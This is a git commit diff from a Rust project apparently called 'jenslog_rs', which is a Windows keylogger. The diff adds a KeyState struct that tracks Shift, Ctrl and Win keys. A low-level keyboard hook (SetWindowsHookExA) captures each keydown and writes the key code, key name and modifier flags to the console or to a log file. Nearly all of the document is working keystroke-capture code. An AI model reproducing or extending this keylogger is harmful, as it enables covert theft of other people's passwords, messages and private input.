add KeyState struct

other small improvements
This commit is contained in:
LordMZTE 2020-08-26 13:15:01 +02:00
parent 277de089db
commit 8948353106
3 changed files with 72 additions and 14 deletions

View file

@ -1,8 +1,10 @@
use winapi::um::winuser::KBDLLHOOKSTRUCT; use winapi::um::winuser::KBDLLHOOKSTRUCT;
use crate::logging::loggers::{ConsoleLogger, FileLogger}; use crate::logging::loggers::{ConsoleLogger, FileLogger};
use crate::scan_code_to_key_name;
pub trait Logger: Sync { pub trait Logger: Sync {
fn log(&self, key: &KBDLLHOOKSTRUCT); fn log(&self, key: &KeyState);
} }
pub fn get_logger(name: &str) -> Box<dyn Logger> { pub fn get_logger(name: &str) -> Box<dyn Logger> {
@ -11,3 +13,58 @@ pub fn get_logger(name: &str) -> Box<dyn Logger> {
_ => Box::new(ConsoleLogger), _ => Box::new(ConsoleLogger),
} }
} }
impl dyn Logger {
pub fn default_format(key: &KeyState) -> String {
format!(
"{} >> {}{}{} >> {}\n",
key.kbdllstruct.vkCode,
if key.win_down { "w" } else { "" },
if key.ctrl_down { "c" } else { "" },
if key.shift_down { "s" } else { "" },
scan_code_to_key_name(key.kbdllstruct.scanCode)
)
}
}
pub struct KeyState {
pub kbdllstruct: KBDLLHOOKSTRUCT,
pub shift_down: bool,
pub ctrl_down: bool,
pub win_down: bool,
}
impl KeyState {
pub fn new() -> Box<Self> {
Box::new(Self {
kbdllstruct: KBDLLHOOKSTRUCT {
vkCode: 0,
scanCode: 0,
flags: 0,
time: 0,
dwExtraInfo: 0,
},
shift_down: false,
ctrl_down: false,
win_down: false,
})
}
/// key_down: if the event was a keydown event, this should be true. if it was keyup it should be false
pub fn update(&mut self, key: KBDLLHOOKSTRUCT, key_down: bool) {
self.kbdllstruct = key;
match key.vkCode {
160 | 161 => self.shift_down = key_down,
162 | 163 => self.ctrl_down = key_down,
91 => self.win_down = key_down,
_ => {}
}
}
/// true if the key is an auxiliary key like shift, control or the windows key
pub fn is_aux_key(&self) -> bool {
matches!(self.kbdllstruct.vkCode, 160 | 161 | 162 | 163 | 91)
}
}

View file

@ -1,6 +1,4 @@
use crate::logging::logger::Logger; use crate::logging::logger::{Logger, KeyState};
use winapi::um::winuser::KBDLLHOOKSTRUCT;
use crate::scan_code_to_key_name;
use std::fs::{File, OpenOptions}; use std::fs::{File, OpenOptions};
use std::io::Write; use std::io::Write;
use std::path::Path; use std::path::Path;
@ -8,8 +6,8 @@ use std::sync::Mutex;
pub struct ConsoleLogger; pub struct ConsoleLogger;
impl Logger for ConsoleLogger { impl Logger for ConsoleLogger {
fn log(&self, key: &KBDLLHOOKSTRUCT) { fn log(&self, key: &KeyState) {
println!("{} >> {}", key.vkCode, scan_code_to_key_name(key.scanCode)); println!("{}", Logger::default_format(key))
} }
} }
@ -30,7 +28,7 @@ impl FileLogger {
} }
impl Logger for FileLogger { impl Logger for FileLogger {
fn log(&self, key: &KBDLLHOOKSTRUCT) { fn log(&self, key: &KeyState) {
self.file.lock().unwrap().write_all(format!("{} >> {}\n", key.vkCode, scan_code_to_key_name(key.scanCode)).as_ref()).unwrap(); self.file.lock().unwrap().write_all(Logger::default_format(key).as_ref()).unwrap();
} }
} }

View file

@ -3,15 +3,16 @@ extern crate lazy_static;
use std::env::args; use std::env::args;
use std::ptr::null_mut; use std::ptr::null_mut;
use std::sync::Mutex;
use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA}; use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA};
use jenslog_rs::logging::logger::{get_logger, Logger}; use jenslog_rs::logging::logger::{get_logger, Logger, KeyState};
lazy_static! { lazy_static! {
pub static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default()); static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new());
static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default());
} }
//static mut LOGGER: Box<dyn Logger> = get_logger(args().nth(0).map(|k| k.as_str()));
fn main() { fn main() {
unsafe { unsafe {
@ -21,9 +22,11 @@ fn main() {
} }
unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isize) -> isize { unsafe extern "system" fn hook_callback(_code: i32, w_param: usize, l_param: isize) -> isize {
//Check if keydown let mut state = KEYSTATE.lock().unwrap();
if w_param != 256 { return 0; }
let key = *(l_param as PKBDLLHOOKSTRUCT); let key = *(l_param as PKBDLLHOOKSTRUCT);
LOGGER.log(&key); state.update(key, w_param == 256);
//Check if keydown and not aux key
if w_param != 256 || state.is_aux_key() { return 0; }
LOGGER.log(&state);
0 0
} }